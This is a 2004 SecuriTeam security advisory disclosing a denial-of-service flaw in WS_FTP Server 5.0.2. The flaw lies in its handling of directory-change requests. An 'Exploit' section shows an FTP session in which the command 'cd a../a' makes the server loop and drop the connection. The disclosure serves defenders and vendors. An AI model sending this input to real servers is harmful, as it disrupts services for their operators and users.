Date: 31 Aug 2004 17:30:47 +0200
From: SecuriTeam <[email protected]>
To: [email protected]Subject: [NT] WS_FTP Server's Directory Traversal Protection Mechanism causing DoS
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
WS_FTP Server's Directory Traversal Protection Mechanism causing DoS
------------------------------------------------------------------------
SUMMARY
A denial of service vulnerability has been found in WS_FTP Server. The
vulnerability is caused by the module that parses incoming directory
changes (CWD). The vulnerability causes the FTP server to consume large
amounts of CPU power whenever it tries to protect itself from being
exploited by a directory traversal vulnerability.
DETAILS
Vulnerable Systems:
* WS_FTP Server version 5.0.2
Due to an issue in WS_FTP Server's internal protection against directory
traversal attacks, a remote attacker can cause WS_FTP to enter an infinite
loop by sending it an especially formatted path change request.
Exploit:
E:\>ftp localhost
Connected to ibm.
220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
220-Fri Aug 27 14:12:19 2004
220-29 days remaining on evaluation.
220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
User (ibm:(none)): ftp
331 Password required
Password:
230 user logged in
ftp> cd a../a
Connection closed by remote host.
ADDITIONAL INFORMATION
The information has been provided by <mailto:[email protected]> lion.
The original article can be found at:
<http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=65>;
http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=65
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
